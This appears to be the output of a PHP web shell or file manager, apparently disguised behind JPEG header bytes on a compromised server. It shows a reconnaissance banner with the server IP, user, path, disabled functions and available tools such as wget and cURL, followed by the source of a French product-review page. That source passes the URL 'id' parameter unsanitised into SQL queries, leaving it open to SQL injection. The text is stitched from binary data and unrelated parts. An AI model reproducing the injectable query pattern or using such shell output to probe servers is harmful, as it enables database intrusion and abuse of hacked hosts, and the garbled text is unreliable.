ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/ |
Upload File : |
<?php
//****************************************************************************************//
//************************************* Configuration ************************************//
//****************************************************************************************//
// Chargement fichiers de configuration.
require('libs/Smarty.class.php');
// Démarrage du moteur TPL.
$smarty = new Smarty;
// Chargement des Fonctions Globals.
require('fonctions.php');
//****************************************************************************************//
//************************************ Avis **********************************************//
//****************************************************************************************//
$id_pro = $_GET["id"];
//Compte les Avis sur produit
/*********************************/
$nb_total =0;
$res = $GLOBALS['bdd']->query("SELECT count(id) AS nb_total FROM avis_product WHERE date_insere >'0000-00-00' AND id_parent = '0' AND status = '0' AND id_product = $id_pro ");
$columns = $res->fetch();
$nb_total = $columns['nb_total'];
$smarty->assign("nb_total", $nb_total);
//prend les Avis sur produit
/*********************************/
$sql = $GLOBALS['bdd']->query("SELECT * FROM avis_product WHERE date_insere >'0000-00-00' AND status = '0' AND id_product = $id_pro ORDER BY date_insere DESC");
$resultav = $sql->fetchAll();
$smarty->assign("lesavis", $resultav);
$tt = '';
if (isset($_GET['tt'])) {
$tt = $_GET['tt'];
$smarty->assign("tout", $tt);
}
//Moyenne des Avis sur produit
/*********************************/
$solde_avis = 0;
$sql = $GLOBALS['bdd']->prepare("SELECT * FROM avis_product WHERE date_insere >'0000-00-00' AND status = '0' AND id_parent = '0' AND id_product = :id_product");
$sql->execute(array('id_product' => $id_pro));
$result = $sql->fetchAll();
for($i=0; $i<count($result); $i++) {
$solde_avis = $solde_avis + $result[$i]['etoiles'];
}
$moyenne_a = $solde_avis / $nb_total;
//$moyenne_avis = round($moyenne_a * 2) / 2;
//$moyenne_avis_arrondi = (round($moyenne_a, 1));
$moyenne_avis_arrondi = number_format($moyenne_a, 1, '.', '');
// image
if ($moyenne_avis_arrondi == '5,0') { $image_moyenne = "myenne_5_0.png"; }
if (($moyenne_avis_arrondi > '4.4') AND ($moyenne_avis_arrondi < '5.0')){ $image_moyenne = "myenne_4_5.png"; }
if (($moyenne_avis_arrondi > '4.0') AND ($moyenne_avis_arrondi < '4.5')){ $image_moyenne = "myenne_4_0.png"; }
if (($moyenne_avis_arrondi > '3.4') AND ($moyenne_avis_arrondi < '4.0')){ $image_moyenne = "myenne_3_5.png"; }
if (($moyenne_avis_arrondi > '3.0') AND ($moyenne_avis_arrondi < '3.5')){ $image_moyenne = "myenne_3_0.png"; }
if (($moyenne_avis_arrondi > '2.4') AND ($moyenne_avis_arrondi < '3.0')){ $image_moyenne = "myenne_2_5.png"; }
if (($moyenne_avis_arrondi > '2.0') AND ($moyenne_avis_arrondi < '2.5')){ $image_moyenne = "myenne_2_0.png"; }
if (($moyenne_avis_arrondi > '1.4') AND ($moyenne_avis_arrondi < '2.0')){ $image_moyenne = "myenne_1_5.png"; }
if (($moyenne_avis_arrondi > '1.0') AND ($moyenne_avis_arrondi < '1.5')){ $image_moyenne = "myenne_1_0.png"; }
if (($moyenne_avis_arrondi > '0.4') AND ($moyenne_avis_arrondi < '1.0')){ $image_moyenne = "myenne_0_5.png"; }
if (($moyenne_avis_arrondi > '0.0') AND ($moyenne_avis_arrondi < '0.5')){ $image_moyenne = "myenne_0_0.png"; }
if ($moyenne_avis_arrondi == '0') { $image_moyenne = "myenne_0_0.png"; }
$smarty->assign("moyenne_avis_arrondi", $moyenne_avis_arrondi);
$smarty->assign("image_moyenne", $image_moyenne);
$smarty->assign("id_pro", $id_pro);
$sql = $GLOBALS['bdd']->prepare('SELECT name,seo FROM products
WHERE id = :id');
$sql->execute(array('id' => $id_pro));
$resultrr = $sql->fetchAll();
$product_name = $resultrr[0]['name'];
$product_seo = $resultrr[0]['seo'];
$smarty->assign("product_name", $product_name);
$smarty->assign("product_seo", $product_seo);
//*************************************** Affichage **************************************//
$smarty->display('evaluations.tpl');
?>